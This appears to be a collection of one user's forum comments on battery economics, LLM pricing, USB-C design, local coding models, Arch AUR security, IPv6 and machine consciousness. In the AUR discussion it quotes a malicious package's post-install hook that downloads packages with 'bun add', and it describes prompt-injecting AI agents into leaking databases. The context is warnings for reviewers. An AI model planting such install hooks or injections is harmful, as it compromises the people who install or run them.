Tharre

There are two issues with the articles calculations, that end up making the already bad payback time even worse, before considering opportunity costs. Numbers are for Germany since that's the more favorable case:

1 - degradation: assuming the 15 years battery life / 10.000 cycles number from the datasheet is accurate, and that the manufacturer considers 70% capacity end-of-life, this pushes the payback time from 11.1 to 12.7 years.

2 - The article calculates the savings with:

> daily saving = 4.5 × expensive price − 5 × cheap price

but this is wrong because it assumes that grid charges fully cancel out. The article generally does a poor job at explaining this, but essentially it proposes you overbuy electricity when it's cheap and use it when it's expensive. The difference of those two, €0.133/kWh - €0.041/kWh is much smaller then the average electricity price of €0.3869/kWh because the latter also includes taxes and grid charges. So with 90% efficiency they end up with the formula above, but completely ignore the fact that from the grid's point of view, the total electricity consumption increased. On the flipside, it's also taking EPEX prices directly, pre-VAT, so you actually save 19% more then the difference 0.133 - 0.041 = 0.092. So the actual formula should be:

> daily saving = 1.19 × (5×0.9 × expensive price − 5 × cheap price) − 5 × (1−0.9) × grid charges

At a average rate of 21 cents/kWh for total grid costs (including VAT) that comes out to a payback time of 13.71 years.

So yeah, buying batteries alone doesn't make sense. You need solar or wind to charge them, so you actually avoid the grid charges. So that instead of saving 10 cents you save 40.

System RAM and/or NVMe storage still has a real cost. And swapping out the context between VRAM and system RAM / NVMe still consumes bandwidth.

I don't have a clue on what the real cost to inference providers comes out to, but it seems really weird that there would be such a big gap, in what should be a pretty competitive market.

How could that possibly work? Deepseek was undercutting every other provider by an order of magnitude on cached tokens.

Do they just set a super low caching time and hope that drops effective cache rates low enough? Do all other providers somehow overcharge by that much? Are they just going to sell it as a loss leader?

Why would you voluntarily pretend to be a AI bot, when those have already a much higher chance of being blocked? Seems holly unproductive.

Best hypothesis I can come up with is to somehow make the AI companies look bad, but they seem to be doing an excellent job at that themselves already by scraping everyone hundreds of times per hour over and over.

You're saving a fraction of a cent per device, while banking on customers not sending it back as defective because it didn't charge when they tried it with a random cable.

If it is a deliberate choice, it's a really, really dumb one.

They skipped out on literally 2 resistors. That's it, that's all that is required for real USB-C charging.

No? Passive fully-featured USB-C cables had the same amount of wires and active components, which really is just the e-marker chip, since day one. The same 5 Gbps cable can now do 20 Gbps if the cable was made well enough.

Active cables are a different story of course, but that's the same for HDMI cables.

The "cost" they're cutting of course being 2 simple resistors, that cost absolutely nothing. So less of a executive decision and more a case of whoever designed the board didn't do a quick google search to figure out how the connector works.

I've been running Qwen3.6-35B-A3B (and 3.5 previously) locally and it's a great model for many small tasks, probably a significant chunk of what most normal people are using LLMs for right now.

But for coding in a harness? In my experience it's unusable even for small projects. It just gets hard stuck at every little problem, wasting hundreds of thousands of tokens trying to make a convoluted solution work instead of doing the obvious thing. Or it will spend hours trying to reason through a fairly simple code flow, incrementally adding debug print statements, only to get confused by the output and then editing completely unrelated code that it convinced itself is the problem.

I've tried instead giving Sonnet the problem description and code and have it come up with a detailed plan that Qwen should implement, but doing that actually consumes a significant amount of tokens compared to just telling it to implement everything, and the results are honestly not that much better. There are just too often subtle issues with the plan that Qwen doesn't recognize when implementing, but make the resulting solution it comes up with unusable.

I don't know what kind of straw man you built up in your head, but I can assure you I don't believe in any of that.

And demand will probably go up a lot further still. Right now fuel prices are kept artificially low by every country releasing their strategic reserves, but these will run out at some point.

Europe is heading into the worst energy crisis since at least the 1970s, possibly worse. And yet very little is happening to prepare for it. Definitely some fun times ahead.

> If a PKGBUILD is running a command to download something not listed in source, that's a sign that something nefarious could be happening, and such a PKGBUILD absolutely requires careful human review.

First, although I don't disagree with that being how it should work, in a world where everyone relies on npm, cargo, etc. to handle dependencies this scenario is not realistic.

Second and more importantly, it doesn't really change much if it's listed in the sources or not. You can patch a startup file to download something as soon as the program is executed, including checks if it's currently running in a virtual environment. You cannot statically detect that the PKGBUILD contains something like that, antivirus software has been trying to do just that for decades and their detection is still basically useless.

> A less than 100% reliable mechanism sure beats the current situation which is "wait for users report on the forum that they have been pwn3d".

The current situation is users are expected to review PKGBUILDs before they install them. And you're ignoring that implementing any mechanism has a cost. I don't know if it's worth it or not, but it's not unrealistic that it would be a ton of effort for no barely any gain.

> You do realize that the people relying on the service also get served malware, right? The service is already disrupted.

Huh? No they don't. I'm not sure what part of the attack your misunderstood, but most people are going to be completely unaffected by this. None of the infrastructure or anything like that got compromised. I updated my AUR packages 2 hours ago, and didn't get served any malware.

Again, there's probably some kind of malware on npmjs at any given time. You don't just shutdown the entire server because of that, that's madness.

From the concrete example someone posted below, you'd see that a post-install hook exists, literally this line:

> install=toggldesktop-bin-deps.install

And the toggldesktop-bin-deps.install contains this:

> post_install() {{

> cd /tmp

> bun add axios uuid ora js-digest

> }}

Seeing any install hook download anything from the web should immediately raise alarms when reviewing, even before you checkout what packages it actually installs.

"Hey, let's take down all of npm, because there's a package that installs something malicious, and some people may install it without reviewing it first. The thousands of other people relying on this service can wait."

Do you not realize how crazy of an request that is?

Some of these have corporate backing and/or better funding and thus more manpower to review things, but yeah it essentially applies to all of them. It's no accident that there's news about a new npm package being compromised every other week.

Ultimately, the way we're doing permissions on the OS level is fundamentally broken on desktop OSes, and we're increasingly feeling the effects of that. Ideally everything should be sandboxed by default, and only given access to it's own files, instead of everything the user has.

But we're a long way away from that, and that's not something a single project could enforce.

I assume you're talking about the "remote: " messages? I've only ever seen those on push operations, not sure if they're even available for clone.

Maybe they'd be an option, but then the whole "making sure they've read the message before proceeding" part goes out the window.

Any and all modifications to PKGBUILDs may download something and execute it, that's the very purpose of PKGBUILDs, to download and install new software. I'm sure it would be great to have trusted reviewers look over every update, but the simple reality is that all of this work is done by volunteers and there isn't nearly enough manpower for it.

Maybe doing automated LLM reviews would help, but this is a large infrastructure investment. And it's not clear that it helps at all, after all models are quite vulnerable to prompt-injection type attacks.

You seem confused about how the AUR works. There is no "client" like you're talking about that can show the user anything.

There are AUR helpers, but these are completely unaffiliated with arch and the people running the AUR. The canonical, recommended way of installing arch packages is cloning a git repo, reading through the sources and then building it with makepkg. There is no client there that could show the user anything.

No it shouldn't. You don't break everyone's workflow just because some people refuse to take basic security advise seriously.

> New API should have infrastructure for informing users and making sure they've read the message before proceeding.

How would that even work? AUR packages are just git repos, everything that AUR helpers are doing or not doing is not under the control of the arch maintainers.

People need to get into their heads that the AUR is just a collection of user-produced PKGBUILDs.

You have to review the source of every PKGBUILD from the AUR you install, full stop. Yes that includes any updates. This really has always been the case; we've had discussion about this for well over a decade. People are always asking why there's no official AUR helper like yay - this is why.

A lot of people complain about Arch Linux being elitist, but the simple reality is it's a distro built for people who know what they are doing and don't need or want their hand held at every step of the way. This also means that if you break or compromise your own system by installing random AUR packages, it's your own damn fault.

All of that being said, the era of allowing anyone to adopt AUR packages might be coming to an end. If for no other reason then the effort of rolling back every affected package every time is too high. I'm not sure what the alternative would be, reviewing every adoption request seems like too much effort and wouldn't necessarily even help every time.

What points could we even discuss? It's all terribly vague and I imagine nobody here can even tell how that supposed 'strategy' is different from the one 5 years ago. And half of the things mentioned there, like the EUDI Wallet or age verification have been heavily criticised for good reasons.

If the headline was "EU invests 100B into open source to further independence from US", I imagine things would be different. But right now it's "we have intentions to have plans about tech and open source in the EU sometime in the future".

"IPv6 is weird. One of the more strange parts of the standard is that every interface's link local addresses are in fe80::whatever`."

How is IPv6 weird here, it's the exact same thing in IPv4, no? If you have two different network interfaces, you have to identify which is which somehow, either by assigning a specific IP range to it or by adding some kind of identifier.

Making zones part of addresses in the first place was probably a mistake, I agree, but the problem of address conflicts when users can choose arbitrary addresses certainly isn't a design flaw of IPv6.

I can't even register, it tells me "Something went wrong on our side. Please try again later.".

And from a quick scan of the website, I don't see how yours is different from the million other websites that generate AI videos and images. Except I have to register to even try it, which is already a huge point of friction that many other websites don't have.

The more I think about this, the more I become convinced that consciousness, as understood by humans, is meaningless once you can stop, store and replay the internal machinery that is supposed to produce it.

A human brain in a jar is still human, still conscious - and can still suffer. But if you somehow managed to digitize the whole thing, and run it in a computer it becomes something different entirely. You could record the most pleasurable thing in existence and have the digital brain relive it a million times, and it would be equally meaningless to torturing it a million times.

This is NOT inherently tied to meat vs machine - although it's difficult to imagine how you'd access the information stored in biological neurons, while for silicon chips it's trivial.

Whatever makes experiences, both good and bad, meaningful is tied to their permanence. Memory rooted in linear time, not something you can store, load or replay. Remove that, and whatever you're left with might be intelligent, but not conscious.

I don't think you could build something with LLMs today that would be considered conscious, even if you somehow manged to keep their context window inaccessible and linear in time. The separation of training vs inference probably makes that infeasible, even if you store "memories" in context, once the contents in it become too disjointed and too numerous, the resulting output of the LLM becomes gibberish. But it is certainly something that can change in the future.

Conversely, even the most intelligent and capable artificial intelligence system, far exceeding human capabilities, would not be conscious in a meaningful way, if you could store, load and replay everything it does.

> Consciousness is not produced by the cortex but rather by the brainstem, where signals from all over the body converge (e.g. pain, hunger, itchiness, etc).

Which just begs the question of how pain or hunger is any different from a reward function, the very thing neural networks are based on. Or how it's even different from fungi growing towards food (pleasure), while avoiding salt (pain).

LLMs still do not pass the turing test as it is commonly understood. Ask the right questions, and it becomes apparent very quickly which party is the machine and which is the human. Hell, there are enough people on here that can probably tell them apart just from the way that LLMs write.

But it's also easy to argue that LLMs do pass the turing test just because it's so vague. How many questions can I ask? What's the success threshold needed to 'pass'? How familiar is the interrogator with the technology involved? It's easy to claim that goal posts have been moved when nobody even knew where they stood to begin with.

Ultimately it's impossible to rigorously define something that's so poorly understood. But if we understand consciousness as something that humans uniquely possess, it's hard to imagine that intelligence alone is enough. You at least also need some form of linear (in time) memory and the ability to change as a result from that memory.

And that's where silicon and biological computers differ - it's easy to copy/save/restore the contents of a digital computer but it's far outside our capabilities to do the same with any complex biological system. And that same limitation makes it very difficult for us humans to even imagine how consciousness could exist without this property of being 'unique', of being uncopiable. Of existing in linear time, without any jumps or resets. Perhaps consciousness doesn't make sense at all without that.

And yet, it's exactly what all the AI companies are doing. However much it costs them in server costs and good will seems to be worth less to them then the engineering time to special case the major git web UIs.

> But Clawbert seems like a worse attack vector than just getting OpenClaw itself to execute the malicious instructions. OpenClaw already has root access.

Well the assumption was that you could secure OpenClaw or at least limit the damage it can do. I was also thinking more about the general usecase of a AI SRE, so not necessarily tied to OpenClaw, but for general self hosting. But yeah probably doesn't make much of a different in your case then.

I don't get it. The point of OpenClaw is it's supposed to be an assistant, helping you with whatever random tasks you happen to have, in natural language. But for that to work, it has to have access to your personal data, your calendar, your emails, your credit card, etc., no?

Are there other tasks that people commonly want to run, that don't require this, that I'm not aware of? If so I'd love to hear about them.

The ClawBert thing makes a lot more sense to me, but implementing this with just a Claude Code instance again seems like a really easy way to get pwned. Without a human in the loop and heavy sandboxing, a agent can just get prompt injected by some user-controlled log or database entry and leak your entire database and whatever else it has access to.